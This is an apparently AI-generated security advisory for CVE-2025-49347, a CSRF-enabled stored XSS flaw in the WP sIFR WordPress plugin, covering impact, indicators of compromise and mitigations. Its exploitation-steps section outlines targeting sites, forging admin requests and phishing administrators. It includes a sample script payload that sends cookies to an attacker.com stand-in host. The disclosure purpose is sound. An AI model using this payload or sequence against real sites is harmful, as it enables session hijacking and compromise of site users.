CVE-2025-49347
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-49347 is a Cross-Site Request Forgery (CSRF) vulnerability in the Jupitercow WP sIFR WordPress plugin that enables Stored Cross-Site Scripting (XSS). It affects all versions of WP sIFR through 0.6.8.1, with no official patch currently available. The vulnerability was reported by researcher Skalucy on October 30, 2025, and published by Patchstack on November 29, 2025. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack).

Technical details

The vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and is mapped to OWASP Top 10 category A1: Broken Access Control. The root cause is the absence of CSRF token validation in the WP sIFR plugin's administrative request handling, allowing an attacker to craft a malicious request that, when executed by an authenticated privileged user, stores malicious JavaScript in the WordPress site. Exploitation requires no privileges from the attacker but does require user interaction — specifically, a privileged user (e.g., an administrator) must be tricked into visiting a crafted page or clicking a malicious link (Patchstack).

Impact

Successful exploitation allows an attacker to force higher-privileged WordPress users to execute unwanted actions under their authenticated session, resulting in stored XSS being injected into the site. This can lead to persistent script execution in the browsers of site visitors or administrators, enabling session hijacking, credential theft, defacement, or further malicious payload delivery. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to affect other users and systems interacting with the WordPress site (Patchstack).

Exploitability

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for CVE-2025-49347. The EPSS score is extremely low at 0.000080, indicating a very low probability of exploitation in the near term. Patchstack classifies this as low priority with unlikely exploitation impact, though they note that CSRF vulnerabilities of this type can be used in mass-exploit campaigns targeting WordPress sites at scale. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the WP sIFR plugin (version ≤ 0.6.8.1) using tools like WPScan or Shodan, or by checking publicly accessible WordPress plugin directories.
  2. Craft malicious request: Create an HTML page or form that submits a forged POST request to the target WordPress site's admin endpoint handled by the WP sIFR plugin, embedding a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a plugin setting field.
  3. Deliver to privileged user: Trick a logged-in WordPress administrator into visiting the attacker-controlled page (e.g., via phishing email, malicious link, or social engineering), causing the browser to automatically submit the forged request with the admin's session credentials.
  4. Stored XSS execution: The malicious script is stored in the WordPress database via the CSRF-triggered request. Subsequently, any user or administrator visiting the affected page will have the script execute in their browser, enabling session hijacking, credential theft, or further compromise (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing unexpected POST requests to WP sIFR plugin admin endpoints from unusual referrer origins or with no valid CSRF nonce.
  • File System / Database: Unexpected JavaScript payloads or <script> tags stored in WordPress database fields associated with WP sIFR plugin settings.
  • Network: Outbound connections from site visitors' browsers to unknown external domains shortly after visiting pages where WP sIFR settings are rendered, potentially indicating XSS payload execution.
  • Process/Behavior: Unusual admin-level configuration changes in WordPress settings related to the WP sIFR plugin without corresponding legitimate admin activity in audit logs.

Mitigation and workarounds

As of the disclosure date, no official patch is available for the WP sIFR plugin from the developer Jupitercow. The primary recommended action is to deactivate and remove the WP sIFR plugin (all versions ≤ 0.6.8.1) until a patched version is released. As a compensating control, WordPress administrators should implement a Web Application Firewall (WAF) with CSRF protection rules — Patchstack's virtual patching service can provide immediate mitigation. Additionally, administrators should avoid clicking unsolicited links while logged into WordPress and enforce strict Content Security Policy (CSP) headers to limit XSS impact (Patchstack).

Additional resources


SourceThis report was generated using AI

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